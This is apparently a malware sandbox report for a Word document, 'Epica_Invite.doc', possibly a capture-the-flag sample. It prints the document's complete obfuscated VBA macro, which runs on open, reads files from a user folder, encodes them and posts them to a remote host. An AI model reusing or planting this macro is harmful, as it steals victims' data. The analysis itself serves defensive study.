Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Behavioral task
behavioral1
Sample
Epica_Invite.doc
Resource
win7-20230712-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
Epica_Invite.doc
Resource
win10v2004-20230703-en
4 signatures
150 seconds
General
-
Target
Epica_Invite.doc
-
Size
76KB
-
MD5
a539b1a18cc5d49335c2b58161441c15
-
SHA1
51850bbffe7c62f35aa7a46b4c7d416208dc32c7
-
SHA256
8f1afe442426683d0d187727ea06e086485546f0f076de94018d48d8ef564959
-
SHA512
160cd52eadb413e5362badb384d25595ba7314ed2b2d9e9330f5b3d05152513a3f6b0934c2256072b41deb48e617d55476eb50ef73ac74411221e7e196b6b569
-
SSDEEP
768:v3NIxz+qsub8ZPKCBvwSdBNqhUkJTSmQBvfPxRfSJF0YwUAKcKzf45l:v3NIt+qspgIogD2UihQBn2KRKj45l
Score
8/10
Malware Config
Signatures
-
resource sample
Files
-
Epica_Invite.doc.doc windows office2003
ThisDocument
1Attribute VB_Name = "ThisDocument"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True9NewMacros
1Attribute VB_Name = "NewMacros"2' first flag is: Cur10s1tyIsAKey34Private musicStore As String56Sub AutoOpen()7album8End Sub9Sub Workbook_Open()10album11End Sub1213Function getNote(guitar_char, pick_char)14getNote = Chr(guitar_char - pick_char)15End Function1617Function LessStrings(str)18LessStrings = Right(str, Len(str) - 3)19End Function2021Function PlayMusic(guitar, pick)22Dim song As String23Do24OneNote = getNote(Left(guitar, 3), Left(pick, 3))25song = song + OneNote26guitar = LessStrings(guitar)27pick = LessStrings(pick)28Loop While Len(guitar) > 029PlayMusic = song30End Function3132Sub playSolo(tabs As String, phrases As String, ByRef reaction As String)33On Error Resume Next34Dim intro As Object35Dim innerNotes As Object36Dim arrangement As String37Set intro = CreateObject(PlayMusic("131211135304269152146133147243141115313287161143155169238127296332342322184308", "048112021199157036041023044197071010205186078022040053137018217234236221085192"))38For Each innerNotes In intro.GetFolder(tabs).subfolders39arrangement = LCase(innerNotes.Name)40If arrangement Like phrases Then41reaction = innerNotes.Path42Exit Sub43End If44Next45End Sub4647Sub enjoyMasterpiece(owner As String, diskName As String, labelName As String)48On Error Resume Next49Dim diskBox As Integer50Dim cdROM() As Byte51Dim allNotes As String5253diskBox = FreeFile54Open diskName For Binary Access Read As diskBox55If LOF(diskBox) > 0 Then56ReDim cdROM(0 To LOF(diskBox) - 1) As Byte57Get diskBox, , cdROM58allNotes = StrConv(cdROM, vbUnicode)59End If60Close diskBox61Dim sContextType As String62sContextType = PlayMusic("316366313334180100263358299197312056289259140235142091166368204159176215119", "219254201226075001166242194086202009178160024134026046051252090058079106060")63Dim albumDescription As String64albumDescription = PlayMusic("197093254233216091190331197273276154268", "130014177153131007121249119208199085207") + Environ$(PlayMusic("306128252320328105101089259285172314", "239049175240243021032007181220095245")) + PlayMusic("268", "230")65albumDescription = albumDescription + PlayMusic("251297174319213068296295136", "166214105237135003219226075") + Environ$(PlayMusic("087245311260213142197255", "002162242178135077120186")) + PlayMusic("268", "230")66albumDescription = albumDescription + PlayMusic("210112076075215", "140039000006154") + labelName + PlayMusic("268", "230")67Dim formattedRecord As String68formattedRecord = formatRecord(albumDescription)69allNotes = formatRecord(allNotes)70Set albumReview = CreateObject(PlayMusic("245285114118108099046255212194329144196197272329078236266149", "168202026041032049000172111080211043082109195253006152182069"))71albumReview.Open PlayMusic("090122312193", "010043229109"), owner + PlayMusic("199", "136") + PlayMusic("329359323309198190", "216242222195077129") + formattedRecord, False72albumReview.setRequestHeader PlayMusic("144309174334267162105198246354", "059194073220222097002097136238"), PlayMusic("194354268293127351330275073065197152200101256361259279119182210143153162298060124078146096285202145162192196101326061199201084105258247170145128101249292118302074227258079243099135114135256111230119270156124320234110285179104175209248289288155281243263197147340290056121133165055277273249239271097137110326239275110089232080151114216", "117243146188019243233228020019149120160014151251159168000067178065069130249012078030087064198097035108140137069206007147160052040146135062044041000151217013186027174207024197048081082095181039146042194112092212129003184147033074110141178247123214139149086038239243007073077119007231225203191239014040008229125170063036181025105063162")73albumReview.send intoDigits(allNotes)74End Sub7576Private Function formatRecord(lyrics As String) As String77On Error Resume Next78Dim b() As Byte79b = intoDigits(lyrics)80Dim result As String81result = ""82For Counter = LBound(b) To UBound(b)83b(Counter) = (b(Counter) + 20) And 25584Next Counter85formatRecord = digitize(b)86End Function8788Private Function intoDigits(lyrics As String) As Byte()89intoDigits = StrConv(lyrics, vbFromUnicode)90End Function9192Function digitize(vArr As Variant) As String93On Error Resume Next94Dim firstPage As Object95Dim secondPage As Object96Set firstPage = CreateObject(PlayMusic("266266275288223165121209100292097131196222163237340293", "189183187211147115075141021215029020097105054136230177"))97Set secondPage = firstPage.createElement(PlayMusic("144302241", "046248189"))98secondPage.DataType = PlayMusic("345351169203352156189281106053", "247246059157254059074180052001")99secondPage.nodeTypedValue = vArr100digitize = secondPage.Text101End Function102103Public Function checkLicense(s_directory As String) As Boolean104Dim licenseKey As Object105Set licenseKey = CreateObject("274340343325209278250247342105186122138116250327363371305143115156159169218304", "191241229220097162145137239059116017030015167206248255204034036058053068119188")106checkLicense = licenseKey.FolderExists(s_directory)107End Function108109Sub findMusic()110On Error Resume Next111Dim lad As String112Dim vinylRecord As String113lad = Environ$(PlayMusic("330304261093125205150303244214096260", "254225194028049140070223176149012195"))114vinylRecord = ""115playSolo lad, PlayMusic("243324292356201227", "140213181253093126"), vinylRecord116If Not vinylRecord = vbNullString Then117Dim EP As String118Dim tracklist As String119EP = vinylRecord & PlayMusic("233188271277283146208095113156336240271167104169343332132154253118348115225141220365171345339224158233335127", "141121167163172037107003028041235126239099007053246240064053151021231007109049144254068240229192090136219030")120tracklist = vinylRecord & PlayMusic("104293235255354331113145237128246159275316243219315124173219354330180207123157339166112", "012226131141243222012053152013145045243248146103218032097108255233072175040041242050011")121If Len(Dir(EP)) And Len(Dir(tracklist)) Then122enjoyMasterpiece musicStore, EP, PlayMusic("176282214111199198125274122229148339230246142155300", "109178100000090097030198011126043229135178045039203")123enjoyMasterpiece musicStore, tracklist, PlayMusic("207141337320210293235115190321175148221109331285211331", "140037223209101192140039079222078040126026215188095230")124enjoyMasterpiece musicStore, tracklist, PlayMusic("261161101168184172125073229236231129191195198236115260103258264273140074113285331315290", "159053004065152067010015197149183015084112089172001144002144186225024002049171231214176")125End If126End If127End Sub128129Sub album()130On Error Resume Next131Dim epicaSupport As String132epicaSupport = PlayMusic("296239177211212236243136243085051237278250165181150086262057170", "192123061099154189196087193030005189232202119132092033214009122")133musicStore = epicaSupport & PlayMusic("138327361142288256185176", "091215247037170159086055")134findMusic135136MsgBox ("Данные отправлены!")137138End Sub139140141142143